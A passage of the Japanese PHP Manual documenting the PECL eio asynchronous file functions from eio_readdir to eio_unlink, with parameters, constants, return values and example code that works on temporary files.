callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_readahead() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリ全体を読み込む

  • ≪ eio_readahead
  • eio_readlink ≫
  • PHP Manual
  • Eio 関数
  • ディレクトリ全体を読み込む

eio_readdir

(PECL eio >= 0.0.1dev)

eio_readdir — ディレクトリ全体を読み込む

説明

eio_readdir ( string $path , int $flags , int $pri , callable $callback , string $data = NULL ) : resource

ディレクトリ全体を (opendir や readdir、 closedir といったシステムコールを使って) 読み込み、 ファイル名あるいは配列 (flags で指定する) を callback 関数の result 引数で返します。

パラメータ

path

ディレクトリのパス。

flags

EIO_READDIR_* 定数の組み合わせ。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_readdir() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。 callback 関数の result に設定される内容は flags によって変わります。

EIO_READDIR_DENTS (int)
eio_readdir() のフラグ。指定すると、コールバックの result 引数が次のキーを持つ配列になります。 'names' - ディレクトリ名の配列／ 'dents' - struct eio_dirent 風の配列で、 それぞれがさらに以下のキーを持ちます ( 'name' - ディレクトリ名／ 'type' - EIO_DT_* 定数のいずれか／ 'inode' - inode 番号。存在しない場合は不定 )
EIO_READDIR_DIRS_FIRST (int)
このフラグを指定すると、ディレクトリをまず最初に返して stat に最適化した順に返します。
EIO_READDIR_STAT_ORDER (int)
このフラグを指定すると、名前を返すときの順序が 各ファイルを stat するのに適した順となります。 指定したディレクトリにあるすべてのファイルを stat() するつもりなら、この順にしておけば最速になります。
EIO_READDIR_FOUND_UNKNOWN (int)

ノード型

EIO_DT_UNKNOWN (int)
不明なノード型 (ありがち)。さらに stat() が必要です。
EIO_DT_FIFO (int)
FIFO ノード型
EIO_DT_CHR (int)
ノード型
EIO_DT_MPC (int)
多重化キャラクタデバイス (v7+coherent) ノード型
EIO_DT_DIR (int)
ディレクトリノード型
EIO_DT_NAM (int)
Xenix 名前付きファイルノード型
EIO_DT_BLK (int)
ノード型
EIO_DT_MPB (int)
多重化ブロックデバイス (v7+coherent)
EIO_DT_REG (int)
ノード型
EIO_DT_NWK (int)
EIO_DT_CMP (int)
HP-UX ネットワークノード型
EIO_DT_LNK (int)
リンクノード型
EIO_DT_SOCK (int)
ソケットノード型
EIO_DT_DOOR (int)
Solaris door ノード型
EIO_DT_WHT (int)
ノード型
EIO_DT_MAX (int)
ノード型の最大値

例

例1 eio_readdir() の例

<?php
/* eio_readdir() が終わったら呼ばれます */
function my_readdir_callback($data, $result) {
    echo __FUNCTION__, " called\n";
    echo "data: "; var_dump($data);
    echo "result: "; var_dump($result);
    echo "\n";
}

eio_readdir("/var/spool/news", EIO_READDIR_STAT_ORDER | EIO_READDIR_DIRS_FIRST,
  EIO_PRI_DEFAULT, "my_readdir_callback");
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

my_readdir_callback called
data: NULL
result: array(2) {
 ["names"]=>
  array(7) {
   [0]=>
    string(7) "archive"
    [1]=>
    string(8) "articles"
    [2]=>
    string(8) "incoming"
    [3]=>
    string(7) "innfeed"
    [4]=>
    string(8) "outgoing"
    [5]=>
    string(8) "overview"
    [6]=>
    string(3) "tmp"
  }
 ["dents"]=>
  array(7) {
   [0]=>
    array(3)
    {
     ["name"]=>
      string(7)
      "archive"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393265)
    }
   [1]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "articles"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393266)
    }
   [2]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "incoming"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393267)
    }
   [3]=>
    array(3)
    {
     ["name"]=>
      string(7)
      "innfeed"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393269)
    }
   [4]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "outgoing"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393270)
    }
   [5]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "overview"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393271)
    }
   [6]=>
    array(3)
    {
     ["name"]=>
      string(3)
      "tmp"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393272)
    }
  }
}

User Contributed Notes

There are no user contributed notes for this page.


シンボリックリンクの値を読む

  • ≪ eio_readdir
  • eio_realpath ≫
  • PHP Manual
  • Eio 関数
  • シンボリックリンクの値を読む

eio_readlink

(PECL eio >= 0.0.1dev)

eio_readlink — シンボリックリンクの値を読む

説明

eio_readlink ( string $path , int $pri , callable $callback , string $data = NULL ) : resource

パラメータ

path

シンボリックリンクへのパス。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_readlink() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

例

例1 eio_readlink() の例

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";
$hardlink = dirname(__FILE__)."/hardlink.link";

function my_hardlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && !is_link($data));
    @unlink($data);

    eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
}

function my_symlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && is_link($data));

    if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
        @unlink($link);
        @unlink($filename);
    }
}

function my_readlink_cb($data, $result) {
    global $filename, $link;
    var_dump($result);

    @unlink($link);
    @unlink($filename);
}

eio_link($filename, $hardlink, EIO_PRI_DEFAULT, "my_hardlink_cb", $hardlink);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
string(16) "/tmp/symlink.dat"

参考

  • eio_symlink() - シンボリックリンクを作る

User Contributed Notes

There are no user contributed notes for this page.


正規化された絶対パスを取得する

  • ≪ eio_readlink
  • eio_rename ≫
  • PHP Manual
  • Eio 関数
  • 正規化された絶対パスを取得する

eio_realpath

(PECL eio >= 0.0.1dev)

eio_realpath — 正規化された絶対パスを取得する

説明

eio_realpath ( string $path , int $pri , callable $callback , string $data = NULL ) : resource

eio_realpath() は、正規化された絶対パスを callback 関数の result 引数で返します。

パラメータ

path

短い形式のパス。

pri

callback

data

返り値

例

例1 eio_realpath() の例

<?php
var_dump(getcwd());

function my_realpath_allback($data, $result) {
    var_dump($result);
}

eio_realpath("../", EIO_PRI_DEFAULT, "my_realpath_allback");
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

string(12) "/home/ruslan"
string(5) "/home"

User Contributed Notes

There are no user contributed notes for this page.


ファイル名や場所を変更する

  • ≪ eio_realpath
  • eio_rmdir ≫
  • PHP Manual
  • Eio 関数
  • ファイル名や場所を変更する

eio_rename

(PECL eio >= 0.0.1dev)

eio_rename — ファイル名や場所を変更する

説明

eio_rename ( string $path , string $new_path , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_rename() は、ファイル名を変更したり別の場所に移動したりします。

パラメータ

path

元のパス。

new_path

変更後のパス。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_rename() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

例

例1 eio_rename() の例

<?php
$filename = dirname(__FILE__)."/eio-temp-file.dat";
touch($filename);
$new_filename = dirname(__FILE__)."/eio-temp-file-new.dat";

function my_rename_cb($data, $result) {
    global $filename, $new_filename;

    if ($result == 0 && !file_exists($filename) && file_exists($new_filename)) {
        @unlink($new_filename);
        echo "eio_rename_ok";
    } else {
        @unlink($filename);
    }
}

eio_rename($filename, $new_filename, EIO_PRI_DEFAULT, "my_rename_cb", $filename);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

eio_rename_ok

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリを削除する

  • ≪ eio_rename
  • eio_seek ≫
  • PHP Manual
  • Eio 関数
  • ディレクトリを削除する

eio_rmdir

(PECL eio >= 0.0.1dev)

eio_rmdir — ディレクトリを削除する

説明

eio_rmdir ( string $path , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_rmdir() は、ディレクトリを削除します。

パラメータ

path

ディレクトリへのパス。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_rmdir() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

例

例1 eio_rmdir() の例

<?php
$temp_dirname = "eio-temp-dir";
mkdir($temp_dirname);

function my_rmdir_callback($data, $result) {
    if ($result == 0 && !file_exists($data)) {
        echo "eio_rmdir_ok";
    } else if (file_exists($data)) {
        rmdir($data);
    }
}

eio_rmdir($temp_dirname, EIO_PRI_DEFAULT, "my_rmdir_callback", $temp_dirname);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

eio_rmdir_ok

参考

  • eio_mkdir() - ディレクトリを作る

User Contributed Notes

There are no user contributed notes for this page.


fd で指定したファイル内でのオフセットを、offset と whence に従って移動する

  • ≪ eio_rmdir
  • eio_sendfile ≫
  • PHP Manual
  • Eio 関数
  • fd で指定したファイル内でのオフセットを、offset と whence に従って移動する

eio_seek

(PECL eio >= 0.5.0b)

eio_seek — fd で指定したファイル内でのオフセットを、offset と whence に従って移動する

説明

eio_seek ( mixed $fd , int $offset , int $whence , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_seek() は、fd で指定したファイル内でのオフセットを、offset と whence で指定した位置に移動します。whence の意味は次のとおりです。

  • EIO_SEEK_SET - 戦闘から offset バイトの位置に移動する。
  • EIO_SEEK_CUR - 現在の位置から offset バイト進める。
  • EIO_SEEK_END - ファイルの末尾から offset バイト進める。

パラメータ

fd

ストリーム、ソケットリソース、あるいは数値で表したファイルディスクリプタ。

offset

読み込みの開始位置。

length

読み込むバイト数。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_seek() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ファイルディスクリプタ間でデータを転送する

  • ≪ eio_seek
  • eio_set_max_idle ≫
  • PHP Manual
  • Eio 関数
  • ファイルディスクリプタ間でデータを転送する

eio_sendfile

(PECL eio >= 0.0.1dev)

eio_sendfile — ファイルディスクリプタ間でデータを転送する

説明

eio_sendfile ( mixed $out_fd , mixed $in_fd , int $offset , int $length , int $pri = ? , callable $callback = ? , string $data = ? ) : resource

eio_sendfile() は、一方のファイルディスクリプタから もう一方のファイルディスクリプタにデータをコピーします。 詳細は SENDFILE(2) の man ページを参照ください。

パラメータ

out_fd

出力先のストリーム、ソケットリソース、あるいはファイルディスクリプタ。 書き込みモードでのオープンが必須です。

in_fd

入力元のストリーム、ソケットリソース、あるいはファイルディスクリプタ。 読み込みモードでのオープンが必須です。

offset

元ファイル内でのオフセット。

length

コピーするバイト数。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_sendfile() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


アイドルスレッドの最大数を設定する

  • ≪ eio_sendfile
  • eio_set_max_parallel ≫
  • PHP Manual
  • Eio 関数
  • アイドルスレッドの最大数を設定する

eio_set_max_idle

(PECL eio >= 0.0.1dev)

eio_set_max_idle — アイドルスレッドの最大数を設定する

説明

eio_set_max_idle ( int $nthreads ) : void

パラメータ

nthreads

アイドルスレッドの数。

返り値

値を返しません。

参考

  • eio_nthreads() - 現在利用中のスレッド数を返す
  • eio_set_min_parallel() - 最小の並列スレッド数を設定する
  • eio_set_max_parallel() - 最大の並列スレッド数を設定する

User Contributed Notes

There are no user contributed notes for this page.


最大の並列スレッド数を設定する

  • ≪ eio_set_max_idle
  • eio_set_max_poll_reqs ≫
  • PHP Manual
  • Eio 関数
  • 最大の並列スレッド数を設定する

eio_set_max_parallel

(PECL eio >= 0.0.1dev)

eio_set_max_parallel — 最大の並列スレッド数を設定する

説明

eio_set_max_parallel ( int $nthreads ) : void

パラメータ

nthreads

並列スレッドの数。

返り値

値を返しません。

参考

  • eio_nthreads() - 現在利用中のスレッド数を返す
  • eio_set_max_idle() - アイドルスレッドの最大数を設定する
  • eio_set_min_parallel() - 最小の並列スレッド数を設定する

User Contributed Notes

There are no user contributed notes for this page.


一度のポールで行う最大のリクエスト回数を設定する

  • ≪ eio_set_max_parallel
  • eio_set_max_poll_time ≫
  • PHP Manual
  • Eio 関数
  • 一度のポールで行う最大のリクエスト回数を設定する

eio_set_max_poll_reqs

(PECL eio >= 0.0.1dev)

eio_set_max_poll_reqs — 一度のポールで行う最大のリクエスト回数を設定する

説明

eio_set_max_poll_reqs ( int $nreqs ) : void

パラメータ

nreqs

リクエスト回数。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


最大のポール時間を設定する

  • ≪ eio_set_max_poll_reqs
  • eio_set_min_parallel ≫
  • PHP Manual
  • Eio 関数
  • 最大のポール時間を設定する

eio_set_max_poll_time

(PECL eio >= 0.0.1dev)

eio_set_max_poll_time — 最大のポール時間を設定する

説明

eio_set_max_poll_time ( float $nseconds ) : void

ポールの所要時間が nseconds 秒を超えると、処理を止めます。

パラメータ

nseconds

秒数。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


最小の並列スレッド数を設定する

  • ≪ eio_set_max_poll_time
  • eio_stat ≫
  • PHP Manual
  • Eio 関数
  • 最小の並列スレッド数を設定する

eio_set_min_parallel

(PECL eio >= 0.0.1dev)

eio_set_min_parallel — 最小の並列スレッド数を設定する

説明

eio_set_min_parallel ( string $nthreads ) : void

パラメータ

nthreads

並列スレッドの数。

返り値

値を返しません。

参考

  • eio_nthreads() - 現在利用中のスレッド数を返す
  • eio_set_max_idle() - アイドルスレッドの最大数を設定する
  • eio_set_max_parallel() - 最大の並列スレッド数を設定する

User Contributed Notes

There are no user contributed notes for this page.


ファイルの状態を取得する

  • ≪ eio_set_min_parallel
  • eio_statvfs ≫
  • PHP Manual
  • Eio 関数
  • ファイルの状態を取得する

eio_stat

(PECL eio >= 0.0.1dev)

eio_stat — ファイルの状態を取得する

説明

eio_stat ( string $path , int $pri , callable $callback , mixed $data = NULL ) : resource

eio_stat() は、 callback の result 引数でファイルの状態を返します。

パラメータ

path

ファイルへのパス。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_stat() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。 成功した場合は、callback の result 引数に配列が格納されます。

例

例1 eio_stat() の例

<?php
$tmp_filename = "eio-file.tmp";
touch($tmp_filename);

function my_res_cb($data, $result) {
    var_dump($data);
    var_dump($result);
}

function my_open_cb($data, $result) {
    eio_close($result);
    eio_event_loop();

    @unlink($data);
}

eio_stat($tmp_filename, EIO_PRI_DEFAULT, "my_res_cb", "eio_stat");
eio_open($tmp_filename, EIO_O_RDONLY, NULL,
 EIO_PRI_DEFAULT, "my_open_cb", $tmp_filename);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

string(8) "eio_stat"
array(12) {
  ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2489173)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318250380)
  ["st_mtime"]=>
  int(1318250380)
  ["st_ctime"]=>
  int(1318250380)
}

参考

  • eio_lstat() - ファイルの状態を取得する
  • eio_fstat() - ファイルの状態を取得する

User Contributed Notes

There are no user contributed notes for this page.


ファイルシステムの状態を取得する

  • ≪ eio_stat
  • eio_symlink ≫
  • PHP Manual
  • Eio 関数
  • ファイルシステムの状態を取得する

eio_statvfs

(PECL eio >= 0.0.1dev)

eio_statvfs — ファイルシステムの状態を取得する

説明

eio_statvfs ( string $path , int $pri , callable $callback , mixed $data = ? ) : resource

eio_statvfs() は、ファイルシステムの状態を callback の result で返します。

パラメータ

path

マウントされたファイルシステム内のファイルのパス。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_statvfs() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。 成功した場合は、callback の result 引数に配列が格納されます。

例

例1 eio_statvfs() の例

<?php
$tmp_filename = '/tmp/eio-file.tmp';
touch($tmp_filename);

function my_statvfs_callback($data, $result) {
    var_dump($data);
    var_dump($result);

 @unlink($data);
}

eio_statvfs($tmp_filename, EIO_PRI_DEFAULT, "my_statvfs_callback", $tmp_filename);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

string(17) "/tmp/eio-file.tmp"
array(11) {
  ["f_bsize"]=>
  int(4096)
  ["f_frsize"]=>
  int(4096)
  ["f_blocks"]=>
  int(262144)
  ["f_bfree"]=>
  int(262111)
  ["f_bavail"]=>
  int(262111)
  ["f_files"]=>
  int(1540815)
  ["f_ffree"]=>
  int(1540743)
  ["f_favail"]=>
  int(1540743)
  ["f_fsid"]=>
  int(0)
  ["f_flag"]=>
  int(4102)
  ["f_namemax"]=>
  int(255)
}

User Contributed Notes

There are no user contributed notes for this page.


シンボリックリンクを作る

  • ≪ eio_statvfs
  • eio_sync_file_range ≫
  • PHP Manual
  • Eio 関数
  • シンボリックリンクを作る

eio_symlink

(PECL eio >= 0.0.1dev)

eio_symlink — シンボリックリンクを作る

説明

eio_symlink ( string $path , string $new_path , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_symlink() は、path へのシンボリックリンク new_path を作ります。

パラメータ

path

リンク元のパス。

new_path

リンク先のパス。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_symlink() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

例

例1 eio_symlink() の例

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";

function my_symlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && is_link($data));

    if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
        @unlink($link);
        @unlink($filename);
    }
}

function my_readlink_cb($data, $result) {
    global $filename, $link;
    var_dump($result);

    @unlink($link);
    @unlink($filename);
}

eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
eio_event_loop();
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
string(16) "/tmp/symlink.dat"

参考

  • eio_link() - ファイルのハードリンクを作る

User Contributed Notes

There are no user contributed notes for this page.


ファイルセグメントをディスクに同期する

  • ≪ eio_symlink
  • eio_sync ≫
  • PHP Manual
  • Eio 関数
  • ファイルセグメントをディスクに同期する

eio_sync_file_range

(PECL eio >= 0.0.1dev)

eio_sync_file_range — ファイルセグメントをディスクに同期する

説明

eio_sync_file_range ( mixed $fd , int $offset , int $nbytes , int $flags , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_sync_file_range() は、ファイルディスクリプタ fd が指すオープン中のファイルをディスクに同期します。

パラメータ

fd

ファイルディスクリプタ。

offset

同期を開始する位置をバイト単位で指定する。

nbytes

同期させる範囲の長さをバイト単位で指定する。 nbytes がゼロの場合は、offset からファイルの末尾までのすべての範囲を同期します。

flags

ビットマスク。以下のいずれかの値を含めます。 EIO_SYNC_FILE_RANGE_WAIT_BEFORE, EIO_SYNC_FILE_RANGE_WRITE, EIO_SYNC_FILE_RANGE_WAIT_AFTER. これらのフラグは、それぞれ対応する SYNC_FILE_RANGE_* と同じ意味です (SYNC_FILE_RANGE(2) の man ページを参照ください)。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_sync_file_range() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


バッファのキャッシュをディスクに書き込む

  • ≪ eio_sync_file_range
  • eio_syncfs ≫
  • PHP Manual
  • Eio 関数
  • バッファのキャッシュをディスクに書き込む

eio_sync

(PECL eio >= 0.0.1dev)

eio_sync — バッファのキャッシュをディスクに書き込む

説明

eio_sync ( int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

パラメータ

この関数にはパラメータはありません。

返り値

eio_sync() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Linux の syncfs システムコールが使えれば、それを呼ぶ

  • ≪ eio_sync
  • eio_truncate ≫
  • PHP Manual
  • Eio 関数
  • Linux の syncfs システムコールが使えれば、それを呼ぶ

eio_syncfs

(PECL eio >= 0.0.1dev)

eio_syncfs — Linux の syncfs システムコールが使えれば、それを呼ぶ

説明

eio_syncfs ( mixed $fd , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

パラメータ

fd

ファイルディスクリプタ。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_syncfs() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ファイルを切り詰める

  • ≪ eio_syncfs
  • eio_unlink ≫
  • PHP Manual
  • Eio 関数
  • ファイルを切り詰める

eio_truncate

(PECL eio >= 0.0.1dev)

eio_truncate — ファイルを切り詰める

説明

eio_truncate ( string $path , int $offset = 0 , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_truncate() は、path で指定したファイルを切り詰めて、ちょうど length バイトにします。

パラメータ

path

ファイルへのパス。

offset

ファイルの先頭からのオフセット。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_busy() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

参考

  • eio_ftruncate() - ファイルを切り詰める

User Contributed Notes

There are no user contributed notes for this page.


名前を削除し、その名前で参照しているファイルも削除する

  • ≪ eio_truncate
  • eio_utime ≫
  • PHP Manual
  • Eio 関数
  • 名前を削除し、その名前で参照しているファイルも削除する

eio_unlink

(PECL eio >= 0.0.1dev)

eio_unlink — 名前を削除し、その名前で参照しているファイルも削除する

説明

eio_unlink ( string $path , int $pri = EIO_PRI_DEFAULT , callable $callback = NULL , mixed $data = NULL ) : resource

eio_unlink() は、その名前をファイルシステムから削除します。

パラメータ

path

ファイルへのパス。

pri

リクエストの優先順位。EIO_PRI_DEFAULT、EIO_PRI_MIN、EIO_PRI_MAX あるいは null を指定します。 null を渡した場合、pri は内部的に EIO_PRI_DEFAULT となります。

callback

callback 関数が、リクエスト終了時にコールされます。 この関数のプロトタイプは、

void callback(mixed $data, int $result[, resource $req]);
に一致しなければなりません。
data

は、リクエストに渡すカスタムデータです。

result

にはリクエスト固有の結果が格納されます。基本的には、対応するシステムコールが返すそのままの値となります。

req

はオプションで指定するリクエストリソースです。 eio_get_last_error() のような関数で使えます。

data

callback に渡す任意の引数。

返り値

eio_unlink() は、成功した場合にリクエストリソースを返します。エラー時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ファイルの最終アクセス時刻と変更時刻を変更する

  • ≪ eio_unlink
  • eio_write ≫
  • PHP Manual
  • Eio 関数
  • ファイルの最終アクセス時刻と変更時刻を変更する

eio_utime

(PECL eio >= 0.0.1dev)

